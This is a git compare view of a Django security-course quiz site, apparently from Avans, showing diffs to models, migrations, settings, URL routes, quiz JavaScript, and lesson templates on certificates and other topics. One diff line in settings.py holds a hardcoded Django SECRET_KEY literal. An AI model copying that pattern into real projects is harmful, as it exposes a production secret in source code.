Compare commits
115
Commits
master
..
6c80186fb8
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
6c80186fb8 | ||
|
|
a6c0e56022 | ||
|
|
a1aa723a4f | ||
|
|
e796762173 | ||
|
|
05bbba6049 | ||
|
|
7f1923943f | ||
|
|
36387dc087 | ||
|
|
606abb982a | ||
|
|
c6b769f31a | ||
|
|
01f65a1348 | ||
|
|
baa0bc2e15 | ||
|
|
b034744725 | ||
|
|
5364f7f49c | ||
|
|
271a17ac87 | ||
|
|
309bfe5f93 | ||
|
|
1fdac5c62f | ||
|
|
d1978154bd | ||
|
|
a09732a8d5 | ||
|
|
6e0a74e1bb | ||
|
|
91b829ebf3 | ||
|
|
9854114225 | ||
|
|
550e334a92 | ||
|
|
aed2b16a9d | ||
|
|
9bf8ec7913 | ||
|
|
a3ba75ab49 | ||
|
|
fb192da373 | ||
|
|
94ee41f0ef | ||
|
|
89b25b379c | ||
|
|
04ac2ac369 | ||
|
|
22ae8a139a | ||
|
|
ccdb7bad62 | ||
|
|
2ef5c3aafc | ||
|
|
94608cf887 | ||
|
|
79e10e29fe | ||
|
|
be93c173d9 | ||
|
|
cb657899d9 | ||
|
|
a1aba8ff56 | ||
|
|
ff1f1cfc55 | ||
|
|
a656291399 | ||
|
|
601e6531ab | ||
|
|
bc2cc9198a | ||
|
|
8be33b3016 | ||
|
|
92f14c6133 | ||
|
|
961e236b9d | ||
|
|
19f3623f6e | ||
|
|
0fb3bccca0 | ||
|
|
0672cfd31d | ||
|
|
6ddd19929c | ||
|
|
7af86e3ab3 | ||
|
|
167bc7687c | ||
|
|
8e6b619d48 | ||
|
|
f664d51b83 | ||
|
|
d3098ba467 | ||
|
|
b8baac40c9 | ||
|
|
bbef3ce8ef | ||
|
|
4f5312904c | ||
|
|
e2dba0ec7a | ||
|
|
3d8b4898fa | ||
|
|
bf85464df2 | ||
|
|
ee0ce17182 | ||
|
|
8f8a00fc67 | ||
|
|
d553d6c2ef | ||
|
|
082661055e | ||
|
|
fce9f5dc81 | ||
|
|
a67a62b05b | ||
|
|
3daed11cd8 | ||
|
|
317d33106c | ||
|
|
20253a8872 | ||
|
|
8aab00dbca | ||
|
|
f0f07cdac1 | ||
|
|
0eabf8c0ab | ||
|
|
c532c286a9 | ||
|
|
f846944b88 | ||
|
|
d92776e86d | ||
|
|
5f8ec2bc7c | ||
|
|
1034cbfbb4 | ||
|
|
73906d2ea5 | ||
|
|
b9ff20da9a | ||
|
|
343327405a | ||
|
|
21ad44edcd | ||
|
|
2a822c7b08 | ||
|
|
1087d64aaf | ||
|
|
bec280deba | ||
|
|
e5cebcfd46 | ||
|
|
cc09e6b65e | ||
|
|
44a8877064 | ||
|
|
3fa97b22f2 | ||
|
|
f0860ae4de | ||
|
|
85415eaf29 | ||
|
|
dd75a22510 | ||
|
|
5718cfa2d5 | ||
|
|
0f2decee2f | ||
|
|
16957cbfd1 | ||
|
|
4e5080fcab | ||
|
|
82f10b16bc | ||
|
|
6fc0270950 | ||
|
|
5ee6829e22 | ||
|
|
cb88a65b6a | ||
|
|
6c6546d875 | ||
|
|
17d0757d73 | ||
|
|
8ed17e9987 | ||
|
|
0aad2707b9 | ||
|
|
a794ad8060 | ||
|
|
3b34c77b62 | ||
|
|
c3594e6a34 | ||
|
|
b1c9bb088c | ||
|
|
3a6e8682df | ||
|
|
f08a99806e | ||
|
|
3a443e9e70 | ||
|
|
2f20546fe5 | ||
|
|
347ead3536 | ||
|
|
db59273825 | ||
|
|
a66240eda3 | ||
|
|
7a996f5aff | ||
|
|
904cf04b4f |
No files matched your search
+2
-3
@@ -1,5 +1,4 @@
|
||||
.DS_Store
|
||||
__pycache__
|
||||
/venv
|
||||
*.pyc
|
||||
db.sqlite3
|
||||
/securityquiz/secrets.py
|
||||
securityquiz/secrets.py
|
||||
Executable → Regular
File mode changed.
Executable → Regular
+4
@@ -0,0 +1,4 @@
|
||||
from django.contrib import admin
|
||||
import models
|
||||
|
||||
admin.site.register(models.Answer)
|
||||
@@ -1,23 +1,33 @@
|
||||
# Generated by Django 2.0.2 on 2018-02-05 13:50
|
||||
# -*- coding: utf-8 -*-
|
||||
from __future__ import unicode_literals
|
||||
|
||||
from django.db import migrations, models
|
||||
from django.db import models, migrations
|
||||
from django.conf import settings
|
||||
|
||||
|
||||
class Migration(migrations.Migration):
|
||||
|
||||
initial = True
|
||||
|
||||
dependencies = [
|
||||
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
|
||||
]
|
||||
|
||||
operations = [
|
||||
migrations.CreateModel(
|
||||
name='LetsEncryptChallenge',
|
||||
name='Answer',
|
||||
fields=[
|
||||
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
|
||||
('challenge', models.CharField(max_length=128)),
|
||||
('response', models.CharField(max_length=128)),
|
||||
('expiry_date', models.DateTimeField()),
|
||||
('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
|
||||
('question', models.CharField(max_length=128)),
|
||||
('string', models.TextField()),
|
||||
('points', models.IntegerField(null=True)),
|
||||
('comment', models.TextField(null=True)),
|
||||
('user', models.ForeignKey(to=settings.AUTH_USER_MODEL)),
|
||||
],
|
||||
options={
|
||||
},
|
||||
bases=(models.Model,),
|
||||
),
|
||||
migrations.AlterUniqueTogether(
|
||||
name='answer',
|
||||
unique_together=set([('user', 'question')]),
|
||||
),
|
||||
]
|
||||
@@ -0,0 +1,20 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
from __future__ import unicode_literals
|
||||
|
||||
from django.db import models, migrations
|
||||
|
||||
|
||||
class Migration(migrations.Migration):
|
||||
|
||||
dependencies = [
|
||||
('quiz', '0001_initial'),
|
||||
]
|
||||
|
||||
operations = [
|
||||
migrations.AddField(
|
||||
model_name='answer',
|
||||
name='submitted',
|
||||
field=models.DateField(auto_now_add=True, null=True),
|
||||
preserve_default=True,
|
||||
),
|
||||
]
|
||||
@@ -0,0 +1,20 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
from __future__ import unicode_literals
|
||||
|
||||
from django.db import models, migrations
|
||||
|
||||
|
||||
class Migration(migrations.Migration):
|
||||
|
||||
dependencies = [
|
||||
('quiz', '0002_answer_submitted'),
|
||||
]
|
||||
|
||||
operations = [
|
||||
migrations.AlterField(
|
||||
model_name='answer',
|
||||
name='submitted',
|
||||
field=models.DateTimeField(auto_now_add=True, null=True),
|
||||
preserve_default=True,
|
||||
),
|
||||
]
|
||||
@@ -0,0 +1,26 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
from __future__ import unicode_literals
|
||||
|
||||
from django.db import models, migrations
|
||||
|
||||
|
||||
class Migration(migrations.Migration):
|
||||
|
||||
dependencies = [
|
||||
('quiz', '0003_auto_20150520_1113'),
|
||||
]
|
||||
|
||||
operations = [
|
||||
migrations.CreateModel(
|
||||
name='LetsEncryptChallenge',
|
||||
fields=[
|
||||
('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
|
||||
('challenge', models.CharField(max_length=128)),
|
||||
('response', models.CharField(max_length=128)),
|
||||
('expiry_date', models.DateTimeField()),
|
||||
],
|
||||
options={
|
||||
},
|
||||
bases=(models.Model,),
|
||||
),
|
||||
]
|
||||
Executable → Regular
File mode changed.
Executable → Regular
+18
@@ -1,5 +1,23 @@
|
||||
from django.db import models
|
||||
from django.contrib.auth.models import User
|
||||
|
||||
# Create your models here.
|
||||
class Answer(models.Model):
|
||||
user = models.ForeignKey(User)
|
||||
question = models.CharField(max_length=128)
|
||||
string = models.TextField()
|
||||
|
||||
# Feedback
|
||||
points = models.IntegerField(null=True)
|
||||
comment = models.TextField(null=True)
|
||||
|
||||
submitted = models.DateTimeField(auto_now_add=True, null=True)
|
||||
|
||||
class Meta:
|
||||
unique_together = ('user', 'question')
|
||||
|
||||
def __str__(self):
|
||||
return self.question + ": " + self.string
|
||||
|
||||
class LetsEncryptChallenge(models.Model):
|
||||
challenge = models.CharField(max_length=128)
|
||||
|
||||
@@ -1,5 +0,0 @@
|
||||
django
|
||||
django-oauth-toolkit
|
||||
django-cors-headers
|
||||
pyopenssl
|
||||
psycopg2
|
||||
Executable → Regular
File mode changed.
@@ -1,4 +1,10 @@
|
||||
DB_HOST = ''
|
||||
|
||||
DB_NAME = ''
|
||||
DB_USER = ''
|
||||
DB_PASSWORD = ''
|
||||
DB_PASSWORD = ''
|
||||
|
||||
# Can be obtained at https://publicapi.avans.nl/newconsumer/
|
||||
AVANS_KEY = ''
|
||||
AVANS_SECRET = ''
|
||||
|
||||
SECRET_KEY = '
|
||||
Executable → Regular
+11
-9
@@ -9,10 +9,7 @@ https://docs.djangoproject.com/en/1.6/ref/settings/
|
||||
"""
|
||||
|
||||
# Build paths inside the project like this: os.path.join(BASE_DIR, ...)
|
||||
import os
|
||||
import sys
|
||||
from . import secrets
|
||||
|
||||
import os, secrets, sys
|
||||
BASE_DIR = os.path.dirname(os.path.dirname(__file__))
|
||||
|
||||
CLOSED = False
|
||||
@@ -21,7 +18,7 @@ CLOSED = False
|
||||
# See https://docs.djangoproject.com/en/1.6/howto/deployment/checklist/
|
||||
|
||||
# SECURITY WARNING: keep the secret key used in production secret!
|
||||
SECRET_KEY = 'jk3nd2kj3nd2i30do23dn9283nd'
|
||||
SECRET_KEY = secrets.SECRET_KEY
|
||||
|
||||
# SECURITY WARNING: don't run with debug turned on in production!
|
||||
DEBUG = False
|
||||
@@ -29,7 +26,7 @@ DEBUG = False
|
||||
if 'runserver' in sys.argv:
|
||||
DEBUG = True
|
||||
|
||||
ALLOWED_HOSTS = ['websec.paulwagener.nl', '127.0.0.1']
|
||||
ALLOWED_HOSTS = ['sec1.aii.avans.nl']
|
||||
|
||||
|
||||
# Application definition
|
||||
@@ -46,7 +43,7 @@ INSTALLED_APPS = (
|
||||
'corsheaders',
|
||||
)
|
||||
|
||||
MIDDLEWARE = (
|
||||
MIDDLEWARE_CLASSES = (
|
||||
'django.contrib.sessions.middleware.SessionMiddleware',
|
||||
'django.middleware.common.CommonMiddleware',
|
||||
'django.middleware.csrf.CsrfViewMiddleware',
|
||||
@@ -67,11 +64,12 @@ WSGI_APPLICATION = 'securityquiz.wsgi.application'
|
||||
|
||||
DATABASES = {
|
||||
'default': {
|
||||
'ENGINE': 'django.db.backends.postgresql',
|
||||
'ENGINE': 'django.db.backends.mysql',
|
||||
'NAME': secrets.DB_NAME,
|
||||
'USER': secrets.DB_USER,
|
||||
'PASSWORD': secrets.DB_PASSWORD,
|
||||
'HOST': secrets.DB_HOST
|
||||
'HOST': '127.0.0.1',
|
||||
'PORT': '3306',
|
||||
}
|
||||
}
|
||||
|
||||
@@ -107,6 +105,7 @@ TEMPLATES = [
|
||||
'django.template.context_processors.debug',
|
||||
'django.template.context_processors.request',
|
||||
'django.contrib.auth.context_processors.auth',
|
||||
'securityquiz.settings.closed',
|
||||
'django.contrib.messages.context_processors.messages',
|
||||
],
|
||||
},
|
||||
@@ -116,3 +115,6 @@ TEMPLATES = [
|
||||
STATICFILES_DIRS = (
|
||||
PROJECT_PATH + '/static',
|
||||
)
|
||||
|
||||
def closed(request):
|
||||
return {'CLOSED': CLOSED}
|
||||
Executable → Regular
+7
-1
@@ -1,4 +1,4 @@
|
||||
from django.conf.urls import include, url
|
||||
from django.conf.urls import patterns, include, url
|
||||
from django.contrib import admin
|
||||
import views
|
||||
|
||||
@@ -8,7 +8,13 @@ urlpatterns = [
|
||||
# Examples:
|
||||
url(r'^o/', include('oauth2_provider.urls', namespace='oauth2_provider')),
|
||||
url(r'^api/hello', views.SecurityApi.as_view()),
|
||||
url(r'^callback$', views.avans_callback),
|
||||
url(r'^logout$', views.avans_logout),
|
||||
url(r'^pull$', views.git_pull),
|
||||
url(r'^admin/', include(admin.site.urls)),
|
||||
url(r'^save$', views.save),
|
||||
url(r'^sign$', views.sign),
|
||||
url(r'^graderhelper$', views.graderhelper),
|
||||
url(r'^letsencrypt$', views.letsencrypt),
|
||||
url(r'^\.well-known/acme-challenge/(.+)', views.letsencrypt_challenge),
|
||||
url(r'^(.*)$', views.home, name='home'),
|
||||
|
||||
Executable → Regular
File mode changed.
+1
-18
@@ -17,21 +17,6 @@ figure img {
|
||||
}
|
||||
}
|
||||
|
||||
@media print {
|
||||
#menu {
|
||||
display: none;
|
||||
}
|
||||
#quiz {
|
||||
border: 0 !important;
|
||||
width: 100%;
|
||||
margin-left: 0;
|
||||
}
|
||||
}
|
||||
|
||||
#difficulty {
|
||||
width: 150px;
|
||||
}
|
||||
|
||||
.screenshot {
|
||||
box-shadow: 0 0 10px #888;
|
||||
border: 1px solid #aaa;
|
||||
@@ -50,9 +35,7 @@ body {
|
||||
}
|
||||
|
||||
.question {
|
||||
padding: 1em;
|
||||
margin: 2em;
|
||||
border-left: 3px solid darkorange;
|
||||
margin: 3em;
|
||||
}
|
||||
|
||||
.question-string {
|
||||
|
||||
Binary file not shown.
|
Before Width: | Height: | Size: 35 KiB |
+42
-7
@@ -1,28 +1,63 @@
|
||||
$(function () {
|
||||
$(function() {
|
||||
|
||||
var changed = false;
|
||||
|
||||
$('.question-input').change(function() {
|
||||
changed = true;
|
||||
});
|
||||
|
||||
$('#save-button').click(function() {
|
||||
var data = $.base64.encode($('#form-quiz').serialize())
|
||||
|
||||
$('#busy').show();
|
||||
$('#save-button').prop('disabled', true);
|
||||
|
||||
$.post('save', data, function(data) {
|
||||
$('#busy').hide();
|
||||
$('#save-button').prop('disabled', false);
|
||||
|
||||
if(data == 'ok') {
|
||||
$('#js-message').text('Antwoorden zijn opgeslagen').slideDown().delay(1000).slideUp();
|
||||
changed = false;
|
||||
} else {
|
||||
alert('Er is iets misgegaan bij het opslaan, bewaar je antwoorden lokaal voordat je deze tab afsluit');
|
||||
}
|
||||
|
||||
});
|
||||
|
||||
return false;
|
||||
});
|
||||
|
||||
window.onbeforeunload = function() {
|
||||
if(changed) {
|
||||
return 'Er zijn niet opgeslagen wijzigingen. Weet je zeker dat je de pagina wilt verlaten?';
|
||||
}
|
||||
}
|
||||
|
||||
// Hints
|
||||
$('.hint').replaceWith(function () {
|
||||
return '<div><a href="#" class="hintlink" onclick="$(this).next().slideToggle(); return false;">Bekijk hint</a>' + $(this).hide()[0].outerHTML + '</div>';
|
||||
$('.hint').replaceWith(function() {
|
||||
return '<div><a href="#" class="hintlink" onclick="$(this).next().slideToggle(); return false;">Bekijk hint</a>'+$(this).hide()[0].outerHTML+'</div>';
|
||||
});
|
||||
$('#difficulty').trigger('change');
|
||||
|
||||
$('#difficulty').change(function (e) {
|
||||
$('#difficulty').change(function(e) {
|
||||
var option = $(this).find(':selected').val();
|
||||
|
||||
|
||||
$('.hintlink').toggle(option == 'normal');
|
||||
$('.hint').toggle(option == 'easy');
|
||||
|
||||
|
||||
window.localStorage.setItem('difficulty', option);
|
||||
});
|
||||
|
||||
// Set the selected property
|
||||
if (window.localStorage['difficulty']) {
|
||||
if(window.localStorage['difficulty']) {
|
||||
var difficulty = window.localStorage['difficulty'];
|
||||
} else {
|
||||
var difficulty = 'normal';
|
||||
}
|
||||
|
||||
$('#difficulty option').filter(function () {
|
||||
$('#difficulty option').filter(function() {
|
||||
return $(this).val() == difficulty;
|
||||
}).prop('selected', true);
|
||||
$('#difficulty').trigger('change');
|
||||
|
||||
+14
-9
@@ -1,12 +1,17 @@
|
||||
-----BEGIN PGP MESSAGE-----
|
||||
|
||||
owEBdgGJ/pANAwAIAQXMoUhwzjSpAawvYgpzZWNyZXQudHh0W7KUz1RoZSBOYXJ3
|
||||
aGFsIEJhY29ucyBhdCBNaWRuaWdodAqJATMEAAEIAB0WIQTUzObaA3ShseyNi1AF
|
||||
zKFIcM40qQUCW7KUzwAKCRAFzKFIcM40qQd2B/sEA5s/TiXM7GFplw2ocxegoIJS
|
||||
TfqeGJoYJt0r5W6j+p2TQ07nH0vadqBpqEIgK9f3VQvUL89Triq0PLp6AgNdB+GR
|
||||
a2M29x8hCEAZQX+Aj74YKfnso0F0EqP3e+Oj5oDrixstnPoy/hXlVbtnR9zvIJXh
|
||||
Eme/pxHkIHnc4a2JojEQQIxu7WvYoXKcrGYPyX0/pvyWGAHIKcPtFNcnO2oF3rp7
|
||||
GRzhc3tydqkIwevosHOsf4T0UoDb/4PAUvkfgbnSdbvGhAdLQtAMWl860lQRQ/WG
|
||||
oJaWC0hUOxzbSoHZeBH8+J8871e+jwE+j+6vk9lVj6Bz4c6O3mUOhxL+dkTw
|
||||
=FLte
|
||||
owEBXgKh/ZANAwACAdVV8vX6nhxaAawuYglwbGFpbi50eHRVdLQaVGhlIE5hcndo
|
||||
YWwgQmFjb25zIGF0IE1pZG5pZ2h0CokCHAQAAQIABgUCVXS0GgAKCRDVVfL1+p4c
|
||||
Wl31EACZ0itLnfLQrkFYGEa8DxgG6O101oc350JekBI7mIm1x556M3dIkyDTSqPd
|
||||
1gY+5wE3iklSnqPAfRSskclQ5SahK7mIjRw8NoCpWGRdFT/2u15lZofqGMV23T1R
|
||||
hEuxxNlZwcWEWDg2Ixx6OqE836Qm+ITaS12ok5qDZFxj4hd4C7uinAv5CWKIyvwl
|
||||
l5ZwwWB4p+NT6JxY6p5Pw0J5xPVCE+pAFesPUwAYydQ5CabgdfRyjc6iMQz+GRFD
|
||||
Qs7kWuZ2JKPWm+2h0UQa38Id66fd4l38x16+rerIEG8XTMlfiXgtCPT9Rkdxb8lD
|
||||
bZQJefupCPP/EAQnZOPzHFbZ32PaOnp0DTLi641W24rb0hwD2LPHIRh+KPWfwaVl
|
||||
+1BSEGE3STDjN0CGaTE1KDM5p5TEhML4/LwRucdp+y8c3f1gyWNd8ChnA9aCFr5w
|
||||
h4FIpE1gAd6XANkVGCIHlZ0Lzxu022zjNFPW2sQeFJy1ZEqBAAwaOlnceztTyx6c
|
||||
J+TNey4lYy2F4hVn/QxYF5kMUIEw22y4tMmwX4tOVkgg5I0X+mf2Csosbfz7Xsn3
|
||||
0i4utcTqwmVov3obPQj1QprBeSMXoYSJMyUCO7eIE9eqeGy0uMO6xkG3Z2QGsZNS
|
||||
aAzu9msSLIc5cQWx9Pva9pafC/sFIyJWudBlf8UEkeIFSll9FQ==
|
||||
=h6Mi
|
||||
-----END PGP MESSAGE-----
|
||||
Executable → Regular
+51
-53
@@ -1,63 +1,61 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Security 1</title>
|
||||
<link href="/static/css/bootstrap.min.css" rel="stylesheet" type="text/css">
|
||||
<link href="/static/css/bootstrap-responsive.min.css" rel="stylesheet" type="text/css">
|
||||
<link href="/static/css/style.css" rel="stylesheet" type="text/css">
|
||||
<script type="text/javascript" src="/static/js/jquery-2.1.0.min.js"></script>
|
||||
<script type="text/javascript" src="/static/js/jquery.base64.min.js"></script>
|
||||
<script type="text/javascript" src="/static/js/quiz.js"></script>
|
||||
</head>
|
||||
<body>
|
||||
<form method="POST" id="form-quiz">
|
||||
{% csrf_token %}
|
||||
|
||||
<head>
|
||||
<title>Web Application Security</title>
|
||||
<link href="/static/css/bootstrap.min.css" rel="stylesheet" type="text/css">
|
||||
<link href="/static/css/bootstrap-responsive.min.css" rel="stylesheet" type="text/css">
|
||||
<link href="/static/css/style.css" rel="stylesheet" type="text/css">
|
||||
<script type="text/javascript" src="/static/js/jquery-2.1.0.min.js"></script>
|
||||
<script type="text/javascript" src="/static/js/jquery.base64.min.js"></script>
|
||||
<script type="text/javascript" src="/static/js/quiz.js"></script>
|
||||
</head>
|
||||
<div class="row-fluid">
|
||||
<div class="well span3" id="menu">
|
||||
<p>Ingelogd als <strong>{{ user }}</strong>.</p>
|
||||
|
||||
<body>
|
||||
<h5>Security 1</h5>
|
||||
<ul>
|
||||
<li><a href="/sql">SQL Injection</a></li>
|
||||
<li><a href="/xss">Cross-site Scripting</a></li>
|
||||
<li><a href="/wachtwoorden">Wachtwoorden</a></li>
|
||||
<li><a href="/bonus">Bonus</a></li>
|
||||
</ul>
|
||||
|
||||
<div class="row-fluid">
|
||||
<div class="well span3" id="menu">
|
||||
<h5>Security 2</h5>
|
||||
<ul>
|
||||
<li><a href="/oauth">OAuth</a></li>
|
||||
<li><a href="/certificaten">Certificaten</a></li>
|
||||
<li><a href="/encryptie">Encryptie</a></li>
|
||||
</ul>
|
||||
|
||||
<h5>Web Application Security</h5>
|
||||
<ul>
|
||||
<li>
|
||||
<a href="/sql">SQL Injection</a>
|
||||
</li>
|
||||
<li>
|
||||
<a href="/xss">Cross-site Scripting</a>
|
||||
</li>
|
||||
<li>
|
||||
<a href="/path">Insecure Direct Object References</a>
|
||||
</li>
|
||||
<li>
|
||||
<a href="/wachtwoorden">Wachtwoorden</a>
|
||||
</li>
|
||||
<li>
|
||||
<a href="/oauth">OAuth</a>
|
||||
</li>
|
||||
<li>
|
||||
<a href="/certificaten">Certificaten</a>
|
||||
</li>
|
||||
<li>
|
||||
<a href="/encryptie">Encryptie</a>
|
||||
</li>
|
||||
</ul>
|
||||
Moeilijkheidsgraad:
|
||||
<select id="difficulty">
|
||||
<option value="easy">Makkelijk (hints zichtbaar)</option>
|
||||
<option value="normal">Normaal (hints optioneel)</option>
|
||||
<option value="hard">Moeilijk (geen hints)</option>
|
||||
</select>
|
||||
|
||||
Moeilijkheidsgraad:
|
||||
<select id="difficulty">
|
||||
<option value="easy">Hints zichtbaar</option>
|
||||
<option value="normal">Hints optioneel</option>
|
||||
<option value="hard">Geen hints</option>
|
||||
</select>
|
||||
<a href="/logout" class="btn">Uitloggen</a>
|
||||
{% if CLOSED %}<br>Inzendingen kunnen niet meer worden ingezonden{% else %}<button class="btn-primary btn-disabled" type="submit" id="save-button">Opslaan</button><img src="/static/img/loader.gif" id="busy" style="display: none">{% endif %}
|
||||
<div class="alert alert-info" id="js-message" style="display: none;"></div>
|
||||
<p>Deadline: donderdag 16 juni 23:59</p>
|
||||
</div>
|
||||
|
||||
<p>
|
||||
<a href="/vm">Download VM</a>
|
||||
</p>
|
||||
<div id="quiz" class="span8 offset3">
|
||||
{% if messages %}
|
||||
{% for message in messages %}
|
||||
<div class="alert alert-info">{{ message }}</div>
|
||||
{% endfor %}
|
||||
{% endif %}
|
||||
|
||||
</div>
|
||||
{% block content %}{% endblock %}
|
||||
|
||||
<div id="quiz" class="span8 offset3">
|
||||
{% block content %}{% endblock %}
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,23 @@
|
||||
{% extends "base.html" %}
|
||||
|
||||
{% block content %}
|
||||
|
||||
<h1>Bonus</h1>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Geef een beveiligingsprobleem aan met deze website (<a href="https://github.com/Avans/Security-Quiz">source</a>)</span>
|
||||
<div class="points"><span class="question-points">0</span> punten (je naam vereeuwigd op deze website als hacker)</div>
|
||||
<textarea class="question-input" name="answer_bonus_fix_this_site">{{answers.answer_bonus_fix_this_site.string}}</textarea>
|
||||
</div>
|
||||
|
||||
<div class="alert alert-warning">Het daadwerkelijk uitvoeren van dergelijke hacks voor eigen gewin of verstoren van de functionaliteit van de website is <strong>niet toegestaan</strong>!</div>
|
||||
|
||||
<h2>Extra opgave</h2>
|
||||
|
||||
<p>Deze opgave leveren geen punten om, maar zijn wel leuk om te maken als je voor de rest alles al af hebt</p>
|
||||
|
||||
<ul>
|
||||
<li><a href="/path">Insecure direct object references</a></li>
|
||||
</ul>
|
||||
|
||||
{% endblock %}
|
||||
Executable → Regular
+130
-220
@@ -1,307 +1,217 @@
|
||||
{% extends "base.html" %} {% block content %}
|
||||
{% extends "base.html" %}
|
||||
|
||||
<h1>Certificaten</h1>
|
||||
{% block content %}
|
||||
|
||||
<p>Bij dit onderdeel gaan we aan de slag met certificaten. De tool die we daarvoor gaan gebruiken is OpenSSL. Dit is een veelgebruikt
|
||||
programma waar je vele cryptografische dingen mee kunt doen.</p>
|
||||
<h1>Certificaten</h1>
|
||||
|
||||
<p>Op Linux en Mac OS X is deze tool al geïnstalleerd, Windows gebruikers moeten deze nog installeren. Als je
|
||||
<a href="http://google.nl/?q=openssl+windows+install" target="_blank">zoekt op het internet</a> vindt je verschillende mogelijkheden om dat te doen. Bijvoorbeeld de v.1.1.0f Light versie op
|
||||
<a href="http://slproweb.com/products/Win32OpenSSL.html" target="_blank">deze website</a>. Let op dat je dan op de Windows command line het hele pad moet gebruiken in plaats van alleen 'openssl'.
|
||||
Bijvoorbeeld:
|
||||
<span class="argument">C:\OpenSSL-Win32\bin\openssl.exe</span>
|
||||
</p>
|
||||
<p>Deze week gaan we aan de slag met certificaten. De tool die we daarvoor gaan gebruiken is OpenSSL.
|
||||
Dit is een veelgebruikt programma waar je vele cryptografische dingen mee kunt doen.</p>
|
||||
|
||||
<p>Als je bij het gebruik van OpenSSL errors krijgt, probeer dan eerst je command prompt als Administrator te openen. En als
|
||||
dat ook niet werkt om het volgende commando uit te voeren:</p>
|
||||
<p>Op Linux en Mac OS X is deze tool al geïnstalleerd, Windows gebruikers moeten deze nog installeren. Als je <a href="http://google.nl/?q=openssl+windows+install" target="_blank">zoekt op het internet</a> vindt je verschillende mogelijkheden om dat te doen. Bijvoorbeeld de v.1.1.0f Light versie op <a href="http://slproweb.com/products/Win32OpenSSL.html" target="_blank">deze website</a>. Let op dat je dan op de Windows command line het hele pad moet gebruiken in plaats van alleen 'openssl'. Bijvoorbeeld: <span class="argument">C:\OpenSSL-Win32\bin\openssl.exe</span></p>
|
||||
|
||||
<code class="terminal">SET OPENSSL_CONF=[pad naar bestand]\openssl.cfg</code>
|
||||
<p>Als je bij het gebruik van OpenSSL errors krijgt, probeer dan eerst je command prompt als Administrator te openen. En als dat ook niet werkt om het volgende commando uit te voeren:</p>
|
||||
|
||||
<hr>
|
||||
<code class="terminal">SET OPENSSL_CONF=[pad naar bestand]\openssl.cfg</code>
|
||||
|
||||
<blockquote>Wie ben jij? En waarom zou ik jou vertrouwen dat je bent wie je zegt dat je bent?</blockquote>
|
||||
<hr>
|
||||
|
||||
<p>Dat zijn vragen die webbrowsers elke dag moeten beantwoorden. Een site kan wel vinden dat het www.rabobank.nl is, maar daarmee
|
||||
weet een browser nog niet zeker dat het ook daadwerkelijk de webserver van de Rabobank is. Misschien zit je eigenlijk te
|
||||
communiceren met een server ergens in Rusland van een persoon die maar al te graag je inlogcodes wil weten.</p>
|
||||
<blockquote>Wie ben jij? En waarom zou ik jou vertrouwen dat je bent wie je zegt dat je bent?</blockquote>
|
||||
|
||||
<p>Om dit probleem op te lossen zijn er certificaten bedacht en vastgelegd in de
|
||||
<a href="http://en.wikipedia.org/wiki/X.509">X.509</a> standaard. Certificaten zijn kleine bestandjes waarin een identiteit staat beschreven. Dit is bijvoorbeeld een
|
||||
certificaat van Paul Wagener:</p>
|
||||
<p>Dat zijn vragen die webbrowsers elke dag moeten beantwoorden. Een site kan wel vinden dat het www.rabobank.nl is, maar daarmee weet een browser nog niet zeker dat het ook daadwerkelijk de webserver van de Rabobank is. Misschien zit je eigenlijk te communiceren met een server ergens in Rusland van een persoon die maar al te graag je inlogcodes wil weten.</p>
|
||||
|
||||
<img src="/static/img/certificaat.png" class="center-block" style="border: 1px solid black">
|
||||
<p>Om dit probleem op te lossen zijn er certificaten bedacht en vastgelegd in de <a href="http://en.wikipedia.org/wiki/X.509">X.509</a> standaard. Certificaten zijn kleine bestandjes waarin een identiteit staat beschreven. Dit is bijvoorbeeld een certificaat van Paul Wagener:</p>
|
||||
|
||||
<p>Nu wil jij natuurlijk meteen een eigen certificaat voor jezelf hebben, en dat kan! Met dit alles-in-1 commando maak je een
|
||||
certificaat dat helemaal van jou is:</p>
|
||||
<img src="/static/img/certificaat.png" class="center-block" style="border: 1px solid black">
|
||||
|
||||
<code class="terminal">openssl req -x509 -nodes -newkey rsa:2048 -keyout sleutel.key -out certificaat.crt</code>
|
||||
<p>Nu wil jij natuurlijk meteen een eigen certificaat voor jezelf hebben, en dat kan! Met dit alles-in-1 commando maak je een certificaat dat helemaal van jou is:</p>
|
||||
|
||||
<p>Dit commando doet een paar dingen tegelijk waar we later op terugkomen. Nadat je de gevraagde informatie hebt ingevuld staat
|
||||
er in het bestand certificaat.crt jouw certificaat. Met dit commando kan je je nieuwe certificaat bewonderen:</p>
|
||||
<code class="terminal">openssl req -x509 -nodes -newkey rsa:2048 -keyout sleutel.key -out certificaat.crt</code>
|
||||
|
||||
<code class="terminal">openssl x509 -text -in certificaat.crt</code>
|
||||
<p>Dit commando doet een paar dingen tegelijk waar we later op terugkomen. <b>Vul bij emailadres je Avans mailadres in</b>. Nadat je de gevraagde informatie hebt ingevuld staat er in het bestand certificaat.crt jouw certificaat. Met dit commando kan je je nieuwe certificaat bewonderen:</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Maak een certificaat met je eigen gegevens</span>
|
||||
</div>
|
||||
<code class="terminal">openssl x509 -text -in certificaat.crt</code>
|
||||
|
||||
<p>Een certificaat heeft ook altijd een
|
||||
<em>verstrekker</em> (issuer). Dit is de persoon of bedrijf die het certificaat heeft gemaakt en daarmee garant staat dat de
|
||||
identiteit die op het certificaat staat ook klopt. In jouw certificaat staat dat je over jezelf hebt gezegd dat je bent
|
||||
wie je zegt dat je bent. Niet echt betrouwbare informatie dus... Iedereen zou precies datzelfde certificaat kunnen maken.</p>
|
||||
<div class="question">
|
||||
<span class="question-string">Kopieer/plak de inhoud van certificaat.crt (inclusief begin en einde <code>-----BEGIN CERTIFICATE-----</code>)</span>
|
||||
{% include "points.html" with points=answers.answer_openssl_selfsigned_certificate.points max="10" %}
|
||||
